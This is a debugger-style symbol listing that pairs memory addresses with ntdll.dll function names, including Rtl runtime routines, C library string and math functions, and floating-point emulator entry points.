77f8f6c0  ntdll!RtlCreateUserThread 
77f8f7e2  ntdll!RtlExitUserThread 
77f8f7fe  ntdll!RtlFreeUserThreadStack 
77f8f85e  ntdll!RtlCreateProcessParameters 
77f8fc52  ntdll!RtlCreateUserProcess 
77f9040c  ntdll!RtlCreateSystemVolumeInformationFolder 
77f906bc  ntdll!RtlTimeToTimeFields 
77f907b4  ntdll!RtlTimeFieldsToTime 
77f9094e  ntdll!RtlTimeToElapsedTimeFields 
77f909ae  ntdll!RtlTimeToSecondsSince1980 
77f909ee  ntdll!RtlSecondsSince1980ToTime 
77f90a1c  ntdll!RtlTimeToSecondsSince1970 
77f90a5c  ntdll!RtlSecondsSince1970ToTime 
77f90a8a  ntdll!RtlSystemTimeToLocalTime 
77f90ac0  ntdll!RtlLocalTimeToSystemTime 
77f90af6  ntdll!RtlCutoverTimeToSystemTime 
77f90cbc  ntdll!RtlSplay 
77f90e1e  ntdll!RtlSubtreeSuccessor 
77f90e38  ntdll!RtlSubtreePredecessor 
77f90e52  ntdll!RtlRealPredecessor 
77f90f64  ntdll!RtlDelete 
77f90fd8  ntdll!RtlDeleteNoSplay 
77f91050  ntdll!RtlInitializeGenericTable 
77f91132  ntdll!RtlIsGenericTableEmpty 
77f91140  ntdll!RtlGetElementGenericTable 
77f911c0  ntdll!RtlNumberGenericTableElements 
77f911ca  ntdll!RtlEnumerateGenericTableWithoutSplaying 
77f9124c  ntdll!RtlInsertElementGenericTable 
77f91278  ntdll!RtlDeleteElementGenericTable 
77f91304  ntdll!RtlEnumerateGenericTable 
77f9134a  ntdll!RtlLookupElementGenericTable 
77f91536  ntdll!RtlRealSuccessor 
77f9159a  ntdll!RtlInitializeGenericTableAvl 
77f916a2  ntdll!RtlIsGenericTableEmptyAvl 
77f916b2  ntdll!RtlGetElementGenericTableAvl 
77f9177e  ntdll!RtlNumberGenericTableElementsAvl 
77f91788  ntdll!RtlEnumerateGenericTableWithoutSplayingAvl 
77f9181c  ntdll!RtlInsertElementGenericTableAvl 
77f91848  ntdll!RtlDeleteElementGenericTableAvl 
77f918c6  ntdll!RtlEnumerateGenericTableAvl 
77f918e2  ntdll!RtlEnumerateGenericTableLikeADirectory 
77f919aa  ntdll!RtlLookupElementGenericTableAvl 
77f921c4  ntdll!RtlRegisterWait 
77f92550  ntdll!RtlDeregisterWaitEx 
77f92674  ntdll!RtlDeregisterWait 
77f92682  ntdll!RtlFindMessage 
77f9274c  ntdll!RtlFormatMessage 
77f92d44  ntdll!RtlRegisterSecureMemoryCacheCallback 
77f92d76  ntdll!RtlFlushSecureMemoryCache 
77f92e52  ntdll!RtlStringFromGUID 
77f92ff0  ntdll!RtlGUIDFromString 
77f932a0  ntdll!RtlIsNameLegalDOS8Dot3 
77f93408  ntdll!RtlGenerate8dot3Name 
77f93889  ntdll!RtlNtStatusToDosErrorNoTeb 
77f9397e  ntdll!RtlGetLastNtStatus 
77f9398c  ntdll!RtlGetLastWin32Error 
77f93996  ntdll!RtlRestoreLastWin32Error 
77f93996  ntdll!RtlSetLastWin32Error 
77f939a6  ntdll!RtlNtStatusToDosError 
77f939e6  ntdll!RtlSetLastWin32ErrorAndNtStatusFromNtStatus 
77f93acc  ntdll!RtlGetNtProductType 
77f93c5e  ntdll!RtlGetVersion 
77f93e02  ntdll!VerSetConditionMask 
77f93e3a  ntdll!RtlVerifyVersionInfo 
77f94188  ntdll!RtlInitString 
77f941c0  ntdll!RtlInitAnsiString 
77f941f8  ntdll!RtlInitUnicodeString 
77f94234  ntdll!RtlInitializeContext 
77f942ea  ntdll!RtlRemoteCall 
77f944d8  ntdll!RtlInitializeSListHead 
77f944de  ntdll!RtlInterlockedPopEntrySList 
77f94520  ntdll!RtlInterlockedPushEntrySList 
77f94530  ntdll!RtlInterlockedFlushSList 
77f9453c  ntdll!RtlQueryDepthSList 
77f94593  ntdll!RtlIpv6AddressToStringA 
77f9476e  ntdll!RtlIpv4AddressToStringA 
77f9482c  ntdll!RtlIpv6AddressToStringW 
77f94a16  ntdll!RtlIpv4AddressToStringW 
77f94a4c  ntdll!RtlIpv6StringToAddressA 
77f94d26  ntdll!RtlIpv4StringToAddressA 
77f94eec  ntdll!RtlIpv6StringToAddressW 
77f951d0  ntdll!RtlIpv4StringToAddressW 
77f953ae  ntdll!RtlLargeIntegerDivide 
77f9564a  ntdll!RtlLogStackBackTrace 
77f957b4  ntdll!RtlPcToFileHeader 
77f9608e  ntdll!RtlSetIoCompletionCallback 
77f963cc  ntdll!RtlQueueWorkItem 
77f965e0  ntdll!RtlRaiseException 
77f96698  ntdll!RtlRaiseStatus 
77f966c0  ntdll!RtlUniform 
77f966e4  ntdll!RtlRandom 
77f9672c  ntdll!RtlRandomEx 
77f9676e  ntdll!RtlSetThreadPoolStartFunc 
77f96c7a  ntdll!RtlTraceDatabaseEnumerate 
77f96cfc  ntdll!RtlTraceDatabaseCreate 
77f96e17  ntdll!RtlTraceDatabaseDestroy 
77f96e70  ntdll!RtlTraceDatabaseValidate 
77f96eb0  ntdll!RtlTraceDatabaseFind 
77f97070  ntdll!RtlTraceDatabaseLock 
77f97076  ntdll!RtlTraceDatabaseUnlock 
77f9707c  ntdll!RtlTraceDatabaseAdd 
77f97602  ntdll!RtlUnhandledExceptionFilter2 
77f97865  ntdll!RtlUnhandledExceptionFilter 
77f97998  ntdll!RtlUnwind 
77f97b12  ntdll!RtlpNtOpenKey 
77f97b30  ntdll!RtlpNtCreateKey 
77f97b56  ntdll!RtlpNtQueryValueKey 
77f97c26  ntdll!RtlpNtSetValueKey 
77f97c4c  ntdll!RtlpNtMakeTemporaryKey 
77f97c52  ntdll!RtlpNtEnumerateSubKey 
77fa1f40  ntdll!CIcos 
77fa1f54  ntdll!cos 
77fa1ff0  ntdll!log 
77fa1ff4  ntdll!CIlog 
77fa20d0  ntdll!pow 
77fa20d4  ntdll!CIpow 
77fa22f0  ntdll!CIsin 
77fa2304  ntdll!sin 
77fa23a0  ntdll!CIsqrt 
77fa23b4  ntdll!sqrt 
77fa245a  ntdll!isalpha 
77fa2488  ntdll!isupper 
77fa24b1  ntdll!islower 
77fa24da  ntdll!isdigit 
77fa2503  ntdll!isxdigit 
77fa2531  ntdll!isspace 
77fa255a  ntdll!ispunct 
77fa2583  ntdll!isalnum 
77fa25b1  ntdll!isprint 
77fa25df  ntdll!isgraph 
77fa260d  ntdll!iscntrl 
77fa2636  ntdll!_isascii 
77fa2643  ntdll!_toascii 
77fa264b  ntdll!_iscsymf 
77fa2688  ntdll!_iscsym 
77fa26d0  ntdll!alldiv 
77fa2780  ntdll!alldvrm 
77fa2860  ntdll!allmul 
77fa2894  ntdll!chkstk 
77fa2894  ntdll!alloca_probe 
77fa28e0  ntdll!allrem 
77fa29a0  ntdll!allshl 
77fa29c0  ntdll!allshr 
77fa29e1  ntdll!atol 
77fa2a5c  ntdll!atoi 
77fa2a61  ntdll!atoi64 
77fa2b00  ntdll!aulldiv 
77fa2b70  ntdll!aulldvrm 
77fa2c10  ntdll!aullrem 
77fa2c90  ntdll!aullshr 
77fa2cb0  ntdll!ftol 
77fa2d15  ntdll!itoa 
77fa2d3f  ntdll!ltoa 
77fa2d66  ntdll!ultoa 
77fa2ded  ntdll!i64toa 
77fa2e1e  ntdll!ui64toa 
77fa2e39  ntdll!itow 
77fa2e64  ntdll!ltow 
77fa2e8f  ntdll!ultow 
77fa2eba  ntdll!i64tow 
77fa2ee8  ntdll!ui64tow 
77fa2f16  ntdll!lfind 
77fa2f50  ntdll!memccpy 
77fa2fa3  ntdll!memicmp 
77fa2fa8  ntdll!snprintf 
77fa2fff  ntdll!snwprintf 
77fa306f  ntdll!splitpath 
77fa31b0  ntdll!stricmp 
77fa31b0  ntdll!strcmpi 
77fa31b5  ntdll!strlwr 
77fa31d8  ntdll!strnicmp 
77fa31e7  ntdll!strupr 
77fa320a  ntdll!tolower 
77fa3212  ntdll!tolower 
77fa3243  ntdll!toupper 
77fa324b  ntdll!toupper 
77fa329a  ntdll!vsnprintf 
77fa32f0  ntdll!vsnwprintf 
77fa335f  ntdll!wcsicmp 
77fa33aa  ntdll!wcslwr 
77fa33d6  ntdll!wcsnicmp 
77fa342f  ntdll!wcsupr 
77fa345b  ntdll!wtol 
77fa34c0  ntdll!wtoi 
77fa34c5  ntdll!wtoi64 
77fa355b  ntdll!labs 
77fa355b  ntdll!abs 
77fa3570  ntdll!atan 
77fa3615  ntdll!bsearch 
77fa36b0  ntdll!ceil 
77fa379d  ntdll!fabs 
77fa3850  ntdll!floor 
77fa3941  ntdll!iswalpha 
77fa3952  ntdll!iswlower 
77fa3960  ntdll!iswdigit 
77fa396e  ntdll!iswxdigit 
77fa397f  ntdll!iswspace 
77fa398d  ntdll!iswctype 
77fa39bd  ntdll!mbstowcs 
77fa3a30  ntdll!memchr 
77fa3ae0  ntdll!memcmp 
77fa3b90  ntdll!memcpy 
77fa3ed0  ntdll!memmove 
77fa4210  ntdll!memset 
77fa42e0  ntdll!qsort 
77fa4570  ntdll!sprintf 
77fa45c8  ntdll!sscanf 
77fa4610  ntdll!strcpy 
77fa4620  ntdll!strcat 
77fa4710  ntdll!strchr 
77fa47d0  ntdll!strcmp 
77fa4860  ntdll!strcspn 
77fa48a0  ntdll!strlen 
77fa4920  ntdll!strncat 
77fa4a50  ntdll!strncmp 
77fa4a90  ntdll!strncpy 
77fa4b90  ntdll!strpbrk 
77fa4bd0  ntdll!strrchr 
77fa4c00  ntdll!strspn 
77fa4c40  ntdll!strstr 
77fa4e6d  ntdll!strtol 
77fa4e84  ntdll!strtoul 
77fa4e9b  ntdll!swprintf 
77fa4f24  ntdll!tan 
77fa4fc2  ntdll!towlower 
77fa4fdd  ntdll!towupper 
77fa4fe7  ntdll!vsprintf 
77fa503e  ntdll!wcscat 
77fa5068  ntdll!wcscpy 
77fa5084  ntdll!wcschr 
77fa50a6  ntdll!wcscmp 
77fa50d8  ntdll!wcscspn 
77fa511b  ntdll!wcslen 
77fa5131  ntdll!wcsncat 
77fa516e  ntdll!wcsncmp 
77fa51a3  ntdll!wcsncpy 
77fa51e0  ntdll!wcspbrk 
77fa5220  ntdll!wcsrchr 
77fa5250  ntdll!wcsspn 
77fa5296  ntdll!wcsstr 
77fa54b9  ntdll!wcstol 
77fa54d0  ntdll!wcstoul 
77fa54e7  ntdll!wcstombs 
77fb0f34  ntdll!RtlInterlockedPushListSList 
77fb0f5c  ntdll!RtlFirstEntrySList 
77fb0f90  ntdll!RtlUshortByteSwap 
77fb0fa0  ntdll!RtlUlongByteSwap 
77fb0fb0  ntdll!RtlUlonglongByteSwap 
77fb0fd0  ntdll!RtlCompareMemory 
77fb1020  ntdll!RtlCompareMemoryUlong 
77fb1050  ntdll!RtlFillMemory 
77fb10c0  ntdll!RtlFillMemoryUlong 
77fb10e0  ntdll!RtlZeroMemory 
77fb1110  ntdll!RtlMoveMemory 
77fb1484  ntdll!RtlLargeIntegerAdd 
77fb1498  ntdll!RtlEnlargedIntegerMultiply 
77fb14a4  ntdll!RtlEnlargedUnsignedMultiply 
77fb14b0  ntdll!RtlEnlargedUnsignedDivide 
77fb14d0  ntdll!RtlExtendedLargeIntegerDivide 
77fb152c  ntdll!RtlExtendedMagicDivide 
77fb15bc  ntdll!RtlExtendedIntegerMultiply 
77fb1614  ntdll!RtlLargeIntegerShiftLeft 
77fb163c  ntdll!RtlLargeIntegerShiftRight 
77fb1664  ntdll!RtlLargeIntegerArithmeticShift 
77fb1690  ntdll!RtlLargeIntegerNegate 
77fb16a4  ntdll!RtlLargeIntegerSubtract 
77fb16b8  ntdll!RtlConvertLongToLargeInteger 
77fb16c0  ntdll!RtlConvertUlongToLargeInteger 
77fb17a0  ntdll!RtlCaptureContext 
77fbc000  ntdll!_eEmulatorInit 
77fbc000  ntdll!_eFINIT 
77fbc079  ntdll!_eCommonExceptions 
77fbc9ef  ntdll!_eFPREM 
77fbca3d  ntdll!_eFPREM1 
77fbca4c  ntdll!_eFSCALE 
77fbca53  ntdll!_eFPATAN 
77fbca71  ntdll!_eFYL2X 
77fbca78  ntdll!_eFYL2XP1 
77fbccda  ntdll!_eFISUB16 
77fbcce8  ntdll!_eFISUBR16 
77fbccf6  ntdll!_eFIADD16 
77fbcd02  ntdll!_eFISUB32 
77fbcd10  ntdll!_eFISUBR32 
77fbcd1e  ntdll!_eFIADD32 
77fbcd2a  ntdll!_eFSUB32 
77fbcd38  ntdll!_eFSUBR32 
77fbcd46  ntdll!_eFADD32 
77fbcd4f  ntdll!_eFSUB64 
77fbcd5a  ntdll!_eFSUBR64 
77fbcd65  ntdll!_eFADD64 
77fbcd81  ntdll!_eFSUBPreg 
77fbcd86  ntdll!_eFSUBreg 
77fbcd88  ntdll!_eFSUBtop 
77fbcd8e  ntdll!_eFSUBRPreg 
77fbcd93  ntdll!_eFSUBRreg 
77fbcd95  ntdll!_eFSUBRtop 
77fbcdb2  ntdll!_eFADDPreg 
77fbcdb7  ntdll!_eFADDreg 
77fbcdb9  ntdll!_eFADDtop 
77fbcf6a  ntdll!_eFIMUL16 
77fbcf74  ntdll!_eFIMUL32 
77fbcf7e  ntdll!_eFMUL32 
77fbcf88  ntdll!_eFMUL64 
77fbcf92  ntdll!_eFMULPreg 
77fbcf97  ntdll!_eFMULreg 
77fbcf99  ntdll!_eFMULtop 
77fbd129  ntdll!_eFIDIV16 
77fbd133  ntdll!_eFIDIVR16 
77fbd13d  ntdll!_eFIDIV32 
77fbd147  ntdll!_eFIDIVR32 
77fbd151  ntdll!_eFDIV32 
77fbd15b  ntdll!_eFDIVR32 
77fbd165  ntdll!_eFDIV64 
77fbd16f  ntdll!_eFDIVR64 
77fbd179  ntdll!_eFDIVRPreg 
77fbd17e  ntdll!_eFDIVRreg 
77fbd180  ntdll!_eFDIVRtop 
77fbd1dc  ntdll!_eFDIVPreg 
77fbd1e1  ntdll!_eFDIVreg 
77fbd1e3  ntdll!_eFDIVtop 
77fbd376  ntdll!_eFRNDINT 
77fbda35  ntdll!_eFLD32 
77fbdaa1  ntdll!_eFLD64 
77fbdb1e  ntdll!_eFILD16 
77fbdb55  ntdll!_eFILD32 
77fbdb93  ntdll!_eFILD64 
77fbdbfc  ntdll!_eFLD80 
77fbdc9e  ntdll!_eFSTP 
77fbdcf8  ntdll!_eFST 
77fbddbc  ntdll!_eFSTP64 
77fbddc1  ntdll!_eFST64 
77fbdfb0  ntdll!_eFSTP32 
77fbdfb5  ntdll!_eFST32 
77fbe13e  ntdll!_eFISTP32 
77fbe143  ntdll!_eFIST32 
77fbe234  ntdll!_eFISTP16 
77fbe239  ntdll!_eFIST16 
77fbe2ec  ntdll!_eFISTP64 
77fbe373  ntdll!_eFSTP80 
77fbe3ce  ntdll!_eFABS 
77fbe3df  ntdll!_eFCHS 
77fbe3ef  ntdll!_eFFREE 
77fbe3f5  ntdll!_eFXCH 
77fbe479  ntdll!_eFICOMP16 
77fbe490  ntdll!_eFICOM16 
77fbe4a2  ntdll!_eFICOMP32 
77fbe4b9  ntdll!_eFICOM32 
77fbe4cb  ntdll!_eFCOMP32 
77fbe4e2  ntdll!_eFCOM32 
77fbe4f4  ntdll!_eFCOMP64 
77fbe50b  ntdll!_eFCOM64 
77fbe51d  ntdll!_eFUCOMPP 
77fbe52c  ntdll!_eFUCOMP 
77fbe53b  ntdll!_eFUCOM 
77fbe552  ntdll!_eFCOMPP 
77fbe561  ntdll!_eFCOMP 
77fbe570  ntdll!_eFCOM 
77fbe70d  ntdll!_eFXAM 
77fbe733  ntdll!_eFTST 
77fbe779  ntdll!_eFLD1 
77fbe7b5  ntdll!_eFLDZ 
77fbe7fb  ntdll!_eFLDL2E 
77fbe81d  ntdll!_eFLDLN2 
77fbe82e  ntdll!_eFLDPI 
77fbea55  ntdll!_eFXTRACT 
77fbf144  ntdll!_eFCOS 
77fbf1e9  ntdll!_eFSIN 
77fbf23f  ntdll!_eFPTAN 
77fbfa07  ntdll!_eF2XM1 
77fbfe40  ntdll!_eFLDCW 
77fbfe86  ntdll!_eFSTCW 
77fbfe92  ntdll!_eFSTSW 
77fbfea7  ntdll!_eFDECSTP 
77fbfec4  ntdll!_eFINCSTP 
77fbfef2  ntdll!_eFSTENV 
77fbff6e  ntdll!_eFSAVE 
77fbffdd  ntdll!_eFRSTOR 
77fc0023  ntdll!_eFLDENV 
77fc0106  ntdll!_eGetStatusWord 
77fc0165  ntdll!SaveEm87Context 
77fc018e  ntdll!RestoreEm87Context 
77fc01e9  ntdll!_eFSQRT 
77fc1f10  ntdll!fltused 
77fc34a8  ntdll!NlsAnsiCodePage 
77fc34c0  ntdll!NlsMbCodePageTag 
77fc36d8  ntdll!NlsMbOemCodePageTag